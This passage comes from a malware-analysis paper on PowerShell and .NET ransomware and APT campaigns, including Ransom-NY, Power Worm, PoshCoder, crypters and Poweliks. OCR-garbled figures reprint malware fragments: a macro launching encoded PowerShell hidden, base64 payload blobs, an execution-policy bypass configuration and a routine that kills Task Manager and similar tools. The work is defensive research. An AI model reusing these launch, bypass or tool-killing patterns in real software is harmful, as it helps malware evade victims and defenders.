Starting with the Ransom-NY trojan, the world saw the
appearance of widely distributed PowerShell ransomware. By
using a peculiar HTA [10] file in combination with a Visual
Basic script (or JavaScript depending on the malware variant),
this malicious campaign ultimately delivered a base64-
encoded payload that would depend on PowerShell to encrypt
the files present in the system by using the RSA asymmetric
public key cryptographic algorithm with a 1024-bit block size
key (Figure 23). Even if the system didn’t have PowerShell
installed, the dropper stage in charge of the Visual Basic
script would download a standalone executable from Dropbox
in order to have access to the much needed environment. A
noteworthy difference in this case is that the campaign relied
on an I2P website instead of Tor, showing that cybercriminals
are always testing the water for more efficient ways to collect
their hard-earned ransom from their victims.

After the initial script is decoded and executed, we can view
that the list of processes reflects ‘mshta.exe’ spawning a
‘powershell.exe’ child process with several command-line
arguments (among which we can find the base64-encoded
PowerShell script payload) (Figure 24). Sometimes,
bypassing PowerShell’s execution policies can be as simple as
encoding the payload, proving that the preventative measures
fall somewhat short of what’s expected for such a powerful
environment.

The PowerShell script uses ‘System.Reflection’ namespace,
which contains types that retrieve information about
assemblies, modules, members, parameters and other entities
in managed code by examining their metadata [11]. Accessing
and executing assemblies from memory allows the attacker to
hide any traces of the infection even further while at the same
time providing a basic layer of obfuscation for analysts to
break during initial reconnaissance of the sample.

Upon retrieving the deobfuscated script delivered by the
malware, we are able to find not only the message that will be

Restricted - Mo scripts can be run. Windows PowerShell can be used only in interactive mode.

AllSigned - Only scripts signed by a trusted publisher can be run.
RemoteSigned - Downloaded scripts must be signed by a trusted publisher before they can be run.

Unrestricted - Mo restrictions; all Windows PowerShell scripts can be run.

Figure 22: Available PowerShell script execution policies [8].
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T1cGxhY2Uob2JgSFREX0luZm8uY2 9tbWFuZExpbmUsY 2hyEDMOESwiIi ke TEhFQkSp2Ug9TkS|
ggIyIgEyBmaWxlcGF0acArICInICl0b3RhbGNvdWS0IDEPICl zeGxpdCANIScpWzFdOyRieXR)

BSIFtTeXNOZW0uVGV4dCSFomNvZG1luZl0601VURjguR2VOU3RyaWSnECRieXR1cyk78W52b2 ]
SsZGVySXR1IbS5SQYXRoICsgIlxXaW5Skb3dzUGS32XITaGVsbFx2MS4wXHBvd2Vyc2ZhlbGwuzXh|
FTSXRi0lJhclBhdGggPSBE3c2hTaGVsbCSFeHEhbmRFonZpemSubWVudFNOcmluZ 3Mo I 1 VUTVE|
V4cGFuZEVudmlyb25t2W50U3RyaWSncygi JVRNUCULESAMT 1 xwb3dlcnNoZWxsXHEvd2Vyc2h|
TpbmdzECI1VELIQISIpICYgIlxwb3dlenNoZWxsXHEvd2Vyc2hlbGwuzXhl IiAmIGFyZ3VEZWS)
10bnpZaFpeUz01i8XRuel loWnpTIjogd3NoU2hlbGwulnVulG51d1BhdGgsIDASIEZhbHN1CRY|
gpESBUaGTuOmFvQX1EdkhRTT01YWSBeUR2SFFNI jpkaW0geEh0dHAEa2 28 TH11UFQS ImtmUk 1|
TySXFJIPSJI1dHErQnJJcUkiOmBpbSBiU3RybTogU2V0IGITdEItID0gY3T1YXR1b2 JgZWNOECT|
TvcGIveC5]b20vec2gvd244eDMlc]ls0XdzaXRuL1hTd2FmT0Z00UUveGS 3EXTzaGVsbC51eGU)|
06UFhYallecT0iUFhYallécSIELNRScGUgPSAXOLFIcnEBUSWVCPSIRSHIWVELL Qi T6LmOwZW4|
wgMjpaZmpBalU5J5] 01iWmZqgOWl0SUoimVuZCE3aXRo0lJlenVoPSJIS2XplaCI6ed3NoUZhlbGw]
BOZXdQYXRoLCAWLCEUcnV1OkVuZCBIZg—=")

000031FD

00003208 Function base&d4decode (data)

00003228 a="CDO.Message"

0000323F set b=CreateCbject (a)

00003256 With b.BodyPart

00003268 .ContentTransferEncoding = "baseg4"

00003298 .Charset = "windows-1251"

000032BB With .GetEncodedContentStream

000032E2 .WriteText data

000032FF .Flush

00003313 End With

00003325 With .GetDecodedContentStream

0000334cC .Charset = "utf-8"

0000336C basetd4decode = .ReadText

00003392 End With

00003324 End With

000033B2 End Function

000033C4 </script>

000033D7 </body>

000033E4 </html>

Figure 23: This malicious campaign ultimately delivered a base64-encoded payload.

e 20448 K 79048 K 348 Sysintemals Process Explorer  Sysintemals - www sysinter. ..
= £ Procmen exe 508D K 64,864 K 2448 Process Monitor Sysintemals - www sysinter. ..

{2y Procmon64.exe e — Liné:m m e e " .
= Emshta EIE "CAWiIndows\System32\WindowsPowerShellw 1.0Npowershell.exe” command Spath={(get-content -Path T\

E powershell exe sers' Y LE\Desktop \POWERHELL PowerHell Ransomware'&1f84d9d 69087 7cb 096958 3db 280950 20fbd4bc 548 7aba g7
iusched_m 2ae75cBf074a1 hta " totalcount 1) split "%)[1]:8bytes = [System Convert]:: FromBase64Sting(Spath
— ):8decoded = [System. Text. Encoding]::UTF8.Get Sting(Skytes): Invoke-Expression $decoded

Path:
CPU Usage: 49.55%  Comh C :"-.‘."a'insdows"-.S‘,rs‘."a'O‘."a' E4"-.WindowsPo\-ierSheII"-.v 13.D"-powershell ENE

Figure 24: We can view that the list of processes reflects ‘mshta.exe’ spawning a ‘powershell.exe’ child process with several
command-line arguments.

Figure 25: We are able to find not only the message that will be shown to the user after infection, but basically the entire source
code used for the file encryption functionality.
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shown to the user after infection, but basically the entire
source code used for the file encryption functionality

(Figure 25). The ransom message, written in Russian, reveals
the intended target of this campaign fairly quickly. Even
though we have the full source code, the encryption
algorithms implemented by the engineers at Microsoft for the
BCL are more than enough to hold these files to ransom.

Cybercriminals stand on the shoulders of giants, leaving the
decryption of the files possible only by finding the bad guy’s
private key.

As noted previously, the initial dropper even has the ability to
check for the presence of PowerShell in the targeted system
and to download a standalone executable for running the
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Figure 26: The initial dropper even has the ability to check for the presence of PowerShell in the targeted system and to download

a standalone executable for running the malicious payload if the environment is not found.

Figure 27: The process of infection and payment collection follows the usual TTPs witnessed for many other ransomware

campaigns.
B H s 0601 b0cf0ed39¢f5e30deed7 2715
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B . - —
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Figure 28: Unsuspecting users are lured into opening an Excel spreadsheet.

malicious payload if the environment is not found
(Figure 26).

Although relying on an I2P website for hosting the ransom
payment system instead of the usual Tor’s .onion domain, the
process of infection and payment collection follows the usual
TTPs witnessed for many other ransomware campaigns
(Figure 27). Organized cybercrime is not a myth, and once a
group has displayed success in their endeavours, no doubt
other groups will follow their lead.

Macro-enabled ransomware - analysis of
Power Worm

Another interesting piece of ransomware created in
PowerShell used a slightly different delivery method to infect
its victims. After luring unsuspecting users into opening what
seemed to be an innocent Excel spreadsheet, a
password-protected macro would then decode and execute the
final PowerShell payload, effectively bypassing the execution
policy in place (Figure 28). To communicate with the C&C,

this sample would download a standalone Tor browser and
Polipo, a lightweight caching and forwarding web proxy
server.

While a fake spreadsheet with information is presented to the
user, ‘powershell.exe’ is launched with the decoded script,
beginning the encryption of the targeted system files in the
background (Figure 29).

The sophistication of some ransomware samples may be
lacking, but still they are proven effective once again,
showing the simplicity of creating a new variant of an already
available malware in the wild. Moreover, having the complete
source code in the form of a PowerShell script allows a
complete dissection of the behaviour of the sample, not only
for security researchers but for script kiddies too (Figure 30).

In this case, invoking ‘powershell.exe’ with the parameters
‘-noexit’ and ‘-encodedcommand’ is enough to achieve the
execution of the malicious script without raising any
suspicion (Figure 31).

= B EXCEL.EXE 0.01 92,484 K
3 powershell exe 200 3216 K
= ¥ ProcBep exe 2576 K
2 ProcExp64 exe 158 15248 K

63040 K 2164 Microsoft Excel
14124 K 3040 Windows PowerShell

6648 K 2340 Sysintemals Process Explorer  Sysintemals - www sysinter. .
28256 K

Microsoft Corporation
Microsoft Corporation

348 Sysintemals Process Explorer  Sysintemals - www sysinter.

Figure 29: While an Excel spreadsheet is shown to the user, powershell.exe is launched with the decoded script.
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Frivate Sub Workbook Openi)
b = "JwBHNAEER=RARIAFgAUWANAD=AJARFAHTIAcogBvAHTAQORIAHQRAQRvAG4ATUARVAGUAZgR1AHTAZQBuAGMAZQANANOATARN AFMAa QR sAGTALG]
& "RRgACQRagBEACkRAewATACCAVAB4REQAJWATACCASABCAGYASOANADsAKABHAGUAdARtAFARCcoBvAGMAZOBzAHMATARtAGKAZARGACQACABDA
& "ApAF=sAMARARACARVABYAGKARQRoACKACWANAR ERawBDAE shagEBwAEWACcgENAGUATALNADsA JwEMAHcAawBiAFoRaQByAHoATQANAD=AJARJAH
& "EAHYRRQBRACCACWBSADsAJWBNRAGCASWEJAGSAUABNAFgLIJwATACcRawBUAGHMA ZWwBYAGEAJwATACCcATWEKAR4ATgBOAGMATgEr AR 4ATwANA D=1
& "RAGORADRRATACCATRABRUAR42aghnADsRJwEBuAEFRAZRARTACCACWAKAGORYQRuAFFRAARAROAHTRAaQRIi AHURAGARIAHMATRARSACRAToRTAGKRAZARKAGURY
& "EIAbgBlAG4ARAB4ACCACWANAGoAaRBXAGCACABRTACCRACWAKAGWALABEAGOAPQAKAGOALARr AC AN AN ACsAJARqAGORKWANAC4RegBpAHLATY
& "QLeQBzAHYACQApACARLQEVAHIATAAhACGAVARIAHMAAAATAFARAYQROAGGATIARKAHUALWEhAGWAKQARAHs AOWANAGYAegBUAFoRawEj AEYAC]
& "ACwAnRHRReRARoRAGWACOMNADsATORATACcRaBRTAHMA BN AGIAbWwEVAHKAIWATACCcAdARoAEgRTwANADSA JWBQAGWAJTWATACCATgBaAGY AV gE,
& "aRRgRCcAQoBvAGERARRzRHQRcoBhAHRARACARIAGORATARxRADARMAR] ADCATAREAGEALBIAC4ATwADACKACWAN RHT AbwBMAGHA T gBMAGWA=(EVE
& "wBJAEgAZwBhAFoAcABoAGSAbWEVAGoAJWATACCARGBIAGSADgBsAGEAZWBAEsASARVACCACOWAKAGoAaRBKAC4AdOBzAGUARABIAGYAYQRIA
& "BDACYAJQBpAGQAPQANACAAKWAgACQAagBkADsAJWEHAGIAQgBRUAGOAZgEMAHUASQRI ACcACWANAGQAZWEZ AEEAdQBpAE cATWEMACCACWE3AG
Set a = CreateCbject ("W3cript.Shell™)

a.Run "powershell.exe™ & " -noexit -encodedcommand " & b, 0, False

End Sub

Figure 30: Having the complete source code in the form of a PowerShell script allows a complete dissection of the behaviour of
the sample.

Set a = CreateCbject ("0
a.Run "pgowershell.sxse" & " -nosxik -sncededcommand " & b, 0, False
End Sub

Figure 31: Invoking ‘powershell.exe’ with the parameters ‘-noexit’ and ‘-encodedcommand’ is enough to achieve the execution of
the malicious script without raising any suspicion.

New-Item -Path $calimerc -ItemType file -Value '<title>Your files w

ed and locked wi

broken. ID is 517832"
hdd-Content -Path $§calimerc -Value ('<p><b>Guaranteed recovery is provided before scheduled
deletion on the day of "+({Get-Date) .AddDays{(+10))

Figure 32: PoshCoder.

Figure 33: Humanly readable source code, listing the file extensions for the files targeted by this ransomware.




THE TAO OF .NET AND POWERSHELL MALWARE ANALYSIS

// Runner.lLoader

{

if (string.IsNullOrEmpty(text))

1
if (text == "2.8")
1

}

AppDomainInitialize appDomainInitialize
appDomainInitialize.Init();
return appDomain;

|-l private static AppDomain CreateAppDomain(string[] args)
AppDomainSetup appDomainSetup = new AppDomainSetup();

string text = Loader.GetCmdlineVersion(args);

text = Loader.GetResourceManager().GetString("Powershellversion™);

appDomainSetup.ConfigurationFile = string.Format("{@}\\{1}.config", Path.GetTempPath(),
File.WriteAllText(appDomainSetup.ConfigurationFile, (string)Loader.GetResourceManager()

AppDomain appDomain = AppDomain.CreateDomain(”PowershellDomain™, null, appDomainSetup);
(AppDomainInitialize)applomain.CreatelnstanceFromf

Figure 34: Some interesting sections in the source code are revealed in ILSpy.

Path.GetTempPath(), Guid.MewGuid()});
GetResourceManager() .GetObject("Posh2.config™));

applomainSetup);

n.CreateInstanceFromAndUnwrap(Assembly.GetEntryAssembly().Location, typeof(AppDomainInitialize).FullName);

Figure 35: Configuration file ‘Posh2.config’ is loaded.

Ransom-everywhere - analysis of PoshCoder

There are just too many samples to choose from, either made
with pure .NET languages or scripted with PowerShell.
Malware developers choose to avoid reinventing the wheel
whenever possible, and samples such as PoshCoder, where they
resort to the usage of DLLSs stolen from legitimate applications
such as a popular PowerShell IDE, show just how far they will
go to avoid working too much on one of their creations.
Resembling a Matryoshka doll, and using several layers of
protection with a mix of base64 encoding and custom encoding,
the actual payload at the centre is named ‘crypterl.ps1’.

After opening each of the ‘Matryoshka doll’ layers of
obfuscation, we reach a humanly readable source code, listing
the file extensions for the files targeted by this ransomware
and how the logic for the encryption scheme is implemented
(Figure 33). Initially, it seemed that we were dealing with a
regular PE file, but it seems that modifying and packing a
PowerShell script has yielded better results for this campaign
while maintaining a low detection rate.

On loading the received sample in /LSpy for analysis, we can
find some interesting sections in the source code, for example
checking if PowerShell is present in the system and what
version is available (Figure 34). This should give us a clue as
to how to conduct our research and what to focus on.

Naming this sample ‘PoshCoder’ now makes sense after we
find how its configuration file ‘Posh2.config’ is loaded
(Figure 35).

The resources included in the assembly are certainly
interesting, and after checking the MDS5 hash for the DLL
‘ScriptRunner.dll’, we confirm our initial suspicion that this is
a library ‘borrowed’ from another application commonly used
to load and run PowerShell scripts with several additional
options to those offered by the default installation of the
framework (Figure 36).

Once again, we are shown how easy is to bypass a PowerShell
execution policy. In this case, merely invoking the script with
the parameter ‘bypass’ will do the trick (Figure 37).

[=-+0 2e9a74aal d95e398 ded4727018c56c55faedfT84eal d5b60T7Efed 5804 efabld
= || References
0 mscorlib
*2 ScriptRunner
I kernel32.dil
Il user32.dil
=14 Resources
= (=8 283019481 _tet.resources
|| Tonic.Zip.Reduced.dil.gz
' ScriptRunner.dll

L

!

Figure 36: ScriptRunner.dIl.

String Table
Name Value
PowerShell. ExecutionPolicy Bypass

PowerShellInputFormat
PowerShell.OutputFormat

PowerShell WindowStyle Hidden
PowerShellVersion 2.0
ScriptRunnerSettings.FileMame crypter.psl
Service.Account LocalService
Service.Description

Service.DisplayName

Service.Mame

Service.Path

Service.StartType Automatic

Service.UserMame

Figure 37: Merely invoking the script with the parameter
‘bypass’ allows us to bypass the PowerShell execution policy.

Apparently, malware developers are quite fond of base64
encoding and after extracting the resource file and decoding it
we are presented with the original script file shown in

Figure 38. .NET and PowerShell malware usually relies on
several layers of obfuscation and encoding to slow down the
analysis process — bad guys know it’s extremely difficult to
protect their intellectual property, but all they care about is

15
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<assembly alias="mscorlib™ name="mscorlib, Version=4.8.8.8, Culture=neutral, PublicKeyToken=b77a5c561934e08
<data name="Scripts.zip"” type="System.Byte[], mscorlib™>
<value>
UEsDBEQARAATABGSEUVAZYskThEAAPA/ARALACQAY3IScHRLcISwezEKACAAALAAAAEAGAB2ZS2dNrrP
AXbNLZB2us8Bds@tnTabzwHtW+tTGOCS36+5qvsTdE6UDGdbShkglbgKMNFEZNhIGIMyvdbXah7Ro9WES
YAk /rd/bpnVpruFZg86jsdqYToefR7untmZ//z78/eqRdSsZTib+AVUINVLS5X93a9H] /I63ktON14
P3nT4AXOMXtELVXOMK7y09x50QxrNS jHgHvz 3MWT Ieew3MydFDGOgACPsIY2neDfgXvW4+BE7QU3JPMG2F2
&v3V+4v3Iv+HnHL+te7ig79deG6PE+GbAQzNZr+Z9663gbwBaRKnmDTFLNE3ASQZ0a0Y3gAM7 18Y0mecQ
03/A%wy cNNHTBCVT/tsG10P2c3Dr4vBmfnvo7eDvCY83H02zNsbMUSHEzDkp@F eDVDeWVEPNEVAM TAE
zmhBhpGklwja8fMZIVZNN/E4B1bBDUAoWMoQ24++DRaPWM/ ye2PckoV/hbeHszgkt35r88kyHDyL1GTXxP
YZ9d/L5B2wl+Y8t]jW2elyYmNbnvQUASB1BK zFKnV7DvBP4ELTYD11fWf2hcBsc7831BLB1+b+R4CO/UY
rtz+huWGNBDB24hLgkJuX/JW4R1r3oavdTevde,/QSvcl3xQ4C+aadLzkPTKOVE304Q5SnKKnAUneeBfs
0++37%94mviBhz3PvGhj3MThbF7wH428KYQ2DZENEEL7bAxwhBD4DpABY CA+YNQESEBYuULGIWDBzNwdQ2s
q5j5FrT2IEMCiiHBIPRe88rrojOEPE8xpAHTCTCcAds5 T ndBKQL2FFhDYFmHX I egeYqeMXiSxugAnD3B6
uDFadoyeAKOT4/MBGLAF1RgE20DrOT jeA/wa2I8wSx/B+QdgPBZ/ETTVA/S cEsIWA2zGkP4BWNEBIhIZ
xpqit4E+WiHEWRj6ItkI1lyn+32YIN4BzGzoZQbBZ/ tsCBzsYEAHT7AdoKYFiHNs /BlwvtK7wekipDjNXMW
oKXPHhKA7 iboH+K/95gZA10TpSkgWd4AxFEDYZHEZ8to0gKGLUZvALY 1xV+DvAZZ cAuMu/ JvCNEFnBIKE
ARBraltgpalypFlo9AKeuIlJu2/htYcwt8Ibg8CPGXaK31ibHbwOKD6iXwkBUy205Ar131dwZ5ifs3GEWe
nak/CV1v21a3zMMI+p9gXIHZIV7 zulxjRgMbeoreID2k6AU+7TOkd6 19D pFQWAxvAEMacoHEILh586 Tnw
9SHLOfpO2Ps3wUB0TAlGVACI LNWDLCLSSnWzCh46wFBgqaRwat9C3A8gHt IvMaETz JMknY InxbYHr55D2
E7AcoKUN/ 1¥x+0oK910i/BvlP4P1HCUuUXBEjp+DiCGOREDeY 2w7GHbGeUrRNwckZ 7NmFPt511BNEXoHq
R+DugLMt3LGP1nZMTNIK25h5AVNbmHMIHXY CHG1QjDDJHEQvQY ci9zWegU3xeQfuHmNNARE3AG/ juMWfH
kGAdMzvg4x36VoDtDBTO4NUH+EL2Im85A 8t9AbgnDzpCXiglb8HPV2B9g185ETQpahxDEoxa2QDvEvA
eArbISBtAALIRGQ/ ioZr4D+DxjaAvQENhGih JHWALNWMUcDENSCCY twFulNnmiPACIFYxBwAS7mDkBbDe
QrobaIiixCU41T,/q8miKWW+ASRx4htDpDWRIBVrk7UNAL+DvCNx1g1285prj2ydguglml2DZIeheY 8uk
RvzAHrkL3h7Nsk7NSrMyl1Pmeadyt559a2glNUWZncrMPuCoQZniNaI9sLq7mUpmt TS5 som2PEUaQbeNF
/7syhuR3qZLHn4LLbzCeqgh7Cv0zIrfNtg@cVnGUHXDNSANS ] 1n2NnDF4y rgSI3+Y2gz7+QH1QZNtsagy
eAQrjzA2htWa/ NuFxcgPCdMskgmF+ 1y 7veSMnflaMRIUXPMUDudkqSTrAFpfNVARLYTgwkjTEp8Fz6EY

Figure 38: After extracting the resource file and decoding it we are presented with the original script file.

// Runner.Loader
[l internal static Assembly AppDomain_AssemblyResolve(object sender, ResolveEventArgs args)

{

if (args.Name.Contains("ScriptRunner™))

byte[] rawAssembly = (byte[])Loader.GetResourceManager().GetObject("ScriptRunner.dl1");
return Assembly.Lload(rawAssembly);

}

return null;

—}

Figure 39: The use of a byte[ ] array is a common denominator in .NET malware when it comes to loading an embedded or
obfuscated assembly.

infection rates, and slowing down the analysis process can

reward them with a few more paying victims in the meantime.

To load the script runner DLL, an ‘Assembly.Load’ method is
used, allowing the developers to retrieve a raw assembly from
the resource file directly into memory. As we saw in the case
of CoinVault, the usage of a byte[] array is a common
denominator in .NET malware when it comes to loading an
embedded or obfuscated assembly (Figure 39). The addition
of extra layers and dynamic loading postpone exposure of the
malicious code until it’s really necessary.

In addition to the malware samples that we have analysed,
cybercriminals have a plethora of privilege-escalation and
lateral movement tools available to choose from, all created in
or for PowerShell. Each of the kill-chain stages can be
automated with the use of scripting, and gaining access to a
Windows box by relying on PowerShell and .NET technologies
supposes less risk and more feasible options for attaining the
desired results. Unfortunately, this knowledge can be used by a
red-team in a legitimate penetration testing engagement, as
well as by a relentless attacker profiling our systems.

CODE PROTECTION, THE MARKET OF THE
‘FUD’ SOLUTIONS

With terms such as ‘packer’, ‘obfuscator’ and ‘crypter’, the
line between these popular code protection mechanisms is
becoming blurred, giving users an alternative way to preserve
the intellectual property of their .NET piece de résistance. In
the same manner, malware developers know that they need to
hide their code from anti-virus engines, or at least modify it
enough so as not to be easily detected. From commercial
obfuscators to underground forums’ accessible crypters, the
offer of making your .NET application difficult to reverse
engineer or fully undetectable (FUD) by anti-virus engines is
a claim made by many but backed by few.

Open-source obfuscators such as Confuser, now reborn as
ConfuserEx, provide .NET developers a simple way to
perform symbol renaming, control flow obfuscation and
method reference hiding in addition to protecting against
debuggers, profilers, memory dumping and code tampering
(among many other features such as encryption and
compression). By being widely available, free and open
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sourced, the samples adopting Confuser range from
ransomware such as CoinVault to carefully crafted .NET
assemblies belonging to targeted campaigns such as the
reported ‘Syrian Malware’ threat. Fortunately, tools to remove
the most common types of obfuscation such as garbage code
insertion, block shuffling and instruction substitution can be
utilized or at least automated with the aid of PowerShell. A
commonly known utility for this scenario is the also open-
source ‘de4dot’, a .NET deobfuscator and unpacker [12].

A commendable side benefit of the Mono Project has been the
availability of several DLLs that can be used to perform static
NET assembly analysis. With ‘Mono.Cecil’ [13] accessible
to generate and inspect programs and libraries in the ECMA
CIL format, you can load existing managed assemblies,
browse all the contained types, modify them on the fly and
save the modified assembly back to the disk. Code inspection
tools such as Gendarme [14] have been built on top of the
aforementioned library, allowing in principle checking the
quality of the code written by a group of developers (static IL
code analysis). However, Gendarme has also allowed a nice
set of features that, as security researchers, we can use to
learn about how to properly parse and dissect samples that we
have received in our lab.

Underground forums and so-called ‘hacking communities’ are
filled with crypter bundles, some even explicitly targeted to
protect .NET assemblies. The ‘fully undetectable’ claim is
difficult to achieve due to the way crypters work. Usually, we
have two fundamental components, a ‘builder’ or the crypter
itself, and a ‘stub’. The crypter is in charge of encrypting the
assembly, creating the unwanted need of a stub in order to
convert that encrypted blob again into something that a
computer can understand. The stub is a crucial piece of a
crypter, and given that it needs to avoid detection while
carrying out some suspicious low-level operations, creating
one is an art form and highly valued in underground
communities.

~Manejo de Archivos [}
Archivo hp.t}lus\w\s blogspot.com.arf H Buscar (_\|
Key hitp: ftustools blogspot com.ar/ ‘ ‘ Rl |
[Método de Encriptacion | Anti-D ing G
& RC4 CXOR  C Rijndael [M SandBoxie [T ThreatExpert [T anubis [ JosBox
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~Opciones )
Encriptar! 5
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Figure 40: The design and features included in each crypter
are extremely varied, giving many options for malware
developers to test their detection rate.

A remarkably employed technique known as ‘Dynamic
Forking’ or ‘RunPE’ is present in numerous samples.
Basically, there’s a stub which launches a legitimate system
process or code in suspended mode, changing the context of
the execution afterwards in order to continue to load (directly

to memory) the malicious payload that was encrypted in the
original PE file. Anti-virus engines can recognize a crypter’s
stub not only by signature but by heuristics too, meaning that
accessing the regularly used APIs demonstrating a clearly
marked behaviour will raise a red flag in most security suites.
Manual modification of a crypter and the stub is usually
necessary to avoid detection by many scanners, and is not an
easy task to achieve by any means.

[Crypter] Tesla Crypter v2 FUD 99%
http://wvww.anonymousth.com/showthread.php?tid=106
wauna VIP.Bowling unnAsu

Ver traduccion

Result

Fortinet 5:
F-Prot:
F-Secure 2014:
G Data:

IKARUS:

Immunet/ClamAV:

K7 Ultimate:

Kaspersky Internet Security 2014:
McAfee Total Protection 2013:
Microsoft Security Essentials:

Figure 41: A Facebook message selling a claimed ‘fully
undetectable’ crypter (Tesla Crypter).

With the appearance of the Poweliks malware, a new
protection mechanism was devised by nefarious minds. This
ingenious creation utilized several layers of protection, but
when it finally needed to deliver the malicious payload it
would write it directly to the system’s registry, loading the
code to memory straight from the registry on each reboot,
meaning that there was no actual file to scan. A fileless
infection was achieved, utilizing a combination of commonly
available protection measures and astute PowerShell
scripting.

Use of the handy ‘System.Reflection” namespace methods to
dynamically load code into memory is a frequently used
technique for recovering code from a resource file or even a
byte array. These embedded resources or arrays can initially
be encoded or obfuscated, so it’s better to implement the
same methods shown in the source code for deobfuscation,
generally utilizing /LSpy or any static decompiler to unwrap
the protection layers one by one. Although variations of these
protective measures do exist, there’s hope since they can
usually be defeated either by re-implementing the same
methods in our custom developed tools, or by performing a
memory dump in order to obtain a clear copy of the IL code
in memory. Of course, some tools offer protection against
virtualized environments and even debuggers. Nevertheless,
the same logic that is applied to the analysis of any other
malicious sample is applicable in this circumstance, removing
the most annoying protections first and then proceeding with
the core of the infectious program or script.

The implementation of custom tools is not restricted to the
classes and namespaces offered by the .NET framework,
several disassembly engines offer APIs to interface with
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for (int i = @; i < processes.length; i++)
{
Process process = processes[i];
if (Operators.CompareString(process.ProcessName, “taskmgr®, false) == @)
process.Kill();
}
else
if (Operators.CompareString(process.ProcessName, “"cmd”, false) == @)
process.Kill();
3
else
if (Operators.CompareString(process.ProcessName, “regedit”, false) == @)
i
process.Kill();
}
else
if (Operators.CompareString(process.ProcessMame, “msconfig”, false) == @)
process.Kill();
b
else
if (Operators.CompareString(process.ProcessName, "sdclt", false) == @)
process.Kill();
¥
else
if (Operators.CompareString(process.ProcessName, “rstrui”, false) == @)
process.Kill();
}
else
if (Operators.CompareString(process.ProcessName, "powershell”, false) == @)
process.Kill();
¥

Figure 42: KillProc, a simple way to verify running processes in a Windows system.

.NET-supported languages such as C#. Amongst them we can
find Capstone, a lightweight multi-platform, multi-
architecture disassembly framework. Additionally, we can fall
back on NIDebugger, a non-intrusive x86 debugger for the
.NET Framework, or dnlib, a library that can read, write and
create .NET assemblies and modules. The number of tools
available and ready to use is staggering, with the vast majority
of them being free and open source, awaiting customization
to our needs.

Not every protection requires the same skill set or tools to be
defeated efficiently, with some being simple ‘process checkers’
such as KillProc (Figure 42), which disables many system tools
that a user could want to execute to confirm or terminate a
malware infection. In the case of CoinVault, a much more
elaborate and complex RunPE application was used, with
detection of virtualized environments and commonly used
malware analysis tools. Sometimes, a memory dump at the
right time can save us hours of unnecessary work, and at other
times there’s no way around it, and we’ll need to analyse each
layer of protection until we can reach the core of the studied
sample. Automating these tasks with PowerShell, or even with
a simple custom C# application, will go a long way towards
maximizing our efficiency as analysts when we need to face .
NET and PowerShell specimens.

ADVANCED PERSISTENT THREATS AND
MALICIOUS CAMPAIGNS

Pro-government Syrian hacking groups have been distributing
a wide array of malware for quite a long time now. Mainly

using social engineering techniques and taking advantage of
the impersonation of legitimate contacts, victims end up
executing malicious payloads sent specifically to them. Fake
messages via Facebook or Skype are among the most common
ways of approaching the target, and since most of the samples
boast the distinct ‘feature’ of stealing credentials, it seems as
if we are dealing with a never-ending game of identity theft
and malware dissemination.

Among the many malicious files we can find just about
everything, ranging from a fake Skype encryption utility, to a
Facebook anti-hacker application, with the notable mention of
fake PDF documents and bogus JPG images that are carefully
embedded into installable executable files. There’s a clear
objective shared within this pool of samples: to infect the
target computer with one of many publicly available RATSs
(Remote Administration Tools), or a specially crafted NET
keylogger. Gaining total control of the system and stealing
credentials is paramount, and it’s clear that financial gain is
not a priority for this type of attack.

The majority of the malicious applications found try to pose
as legitimate downloads, cleverly luring the user into thinking
they are installing some kind of protection software needed to
maintain their privacy and anonymity online. Syrian citizens
are reasonably concerned about these topics, which is one
reason why these attacks are so effective. Social engineering
combined with spear-phishing is a dangerous recipe, and new
threats are appearing every day.

Moreover, some Facebook pages have been set up
masquerading as anti-hacking or computer security enthusiast
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Figure 43: A simple .NET application with a supposedly leaked spreadsheet leading to malware infection by a RAT targeting
Syrian government dissidents [16].

¥ Normally, you would call Register-ObjectEvent but since the event
f handler has a return wvalue, Register-ObjectEvent won't work.

BReflectionOnlyAssemblyResolveField = [AppDomain].GetField('ReflectionOnlyhissemblyRe
BReflectionOnlyAssemblyResolveField. SetValue ([AppDomain] : :CurrentDomain, ($ResolveEvy

¢ Load the malware sample in a reflection only context
BEvilAssembly = [Reflection.Assembly]::ReflectionCnlyLoadFrom("SMalwarePath\ i ;5 ae 1l

# Read in the XOR key array from the embedded executable resource

SXORFeyArray = New-Object Byte[] (236)
SResourceStream.Read (SXORKeyvArray,

# Implement the gdepbfuscation function

i
S5trlen = S0bfuscatedString.Length

foreach (§i in
i

O..(§8trlen - 1))

3

FResourceName = §EvilAssembly.GetManifestResourceNames ()
SReszourceStream = SEvilAssembly.GetManifestResourceStream($ResourceName)

0, SXORFKeyArray.Length) | Out-Null

function Decbfuscate-String( [String] 50bfuscatedString, [Int] SXORKeyInitializer )

# Extract the low byte from SXOREeyArrayIndex
SMORReyIndex = SMORFeyInitializer -band 255
SCharArray = $0bfuscatedString.ToCharArray()

# Decode each character of the obfuscated string

SCharArray[$i] = [Char] (([Int] SCharArray[$i]) -bxor
(({[Int] SXORKeyArray[$X0ORKeyIndex]) -bor $XOREeyInitializer))

Figure 44: The real power behind .NET and PowerShell is the community of researchers behind these technologies, with several of
them releasing scripts to demonstrate how to automate the analysis of .NET samples.

groups. By accessing malicious download links shared in the
comments section, Syrian citizens looking for security
solutions end up infecting their own systems.

Using SFX archives in early stages combined with social
engineering and spear phishing techniques yields maximum
infection rates while arousing little suspicion. The usage of
high-level programming languages (i.e. C#) is becoming
more popular among attackers as they need to modify their
malicious creations more rapidly. This brings the added
benefit of leveraging already available source code from the
underground scene. The possibility of embedding remote

administration tools into the malware used for distribution
enables extreme customization of the code, making this type
of threat something that we constantly need to watch for.

Another relevant example of an APT relying on.NET and
PowerShell for stealthiness and persistence is the one
reported by CrowdStrike in November 2014, named ‘Deep
Panda’. Employing a number of scripts conveniently launched
as Windows scheduled tasks, a second stage payload is
downloaded silently onto the victim’s system. Undoubtedly,
this trend will continue, and as Windows systems continue to
be adopted in cloud environments and private corporate
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networks, resolving to use deeply ingrained OS components
for a successful attack will entice the attacker to maintain
their investment in high-level languages and the .NET
framework in general.

POWERSHELL - THE HOLY GRAIL FOR
ATTACKERS

Besides malware development, PowerShell has become the
holy grail of attackers, and its major features have become a
real Swiss Army knife for the different stages of an intrusion,
since it can be used to bypass anti-virus detection, maintain
persistence or exfiltrate data. Moreover, some of its modules
can already be whitelisted by the system. For example, to
carry out evasive techniques, PowerShell scripts can be
loaded dynamically into memory without ever touching the
hard disk, thus leaving the least amount of evidence possible
on a compromised computer.

One point to consider is the fact that almost the majority of
Microsoft’s products natively interface with PowerShell,
broadening the attack surface and enabling lateral movement
within the systems present in the targeted network. For
example, an attacker could interact with Active Directory, get
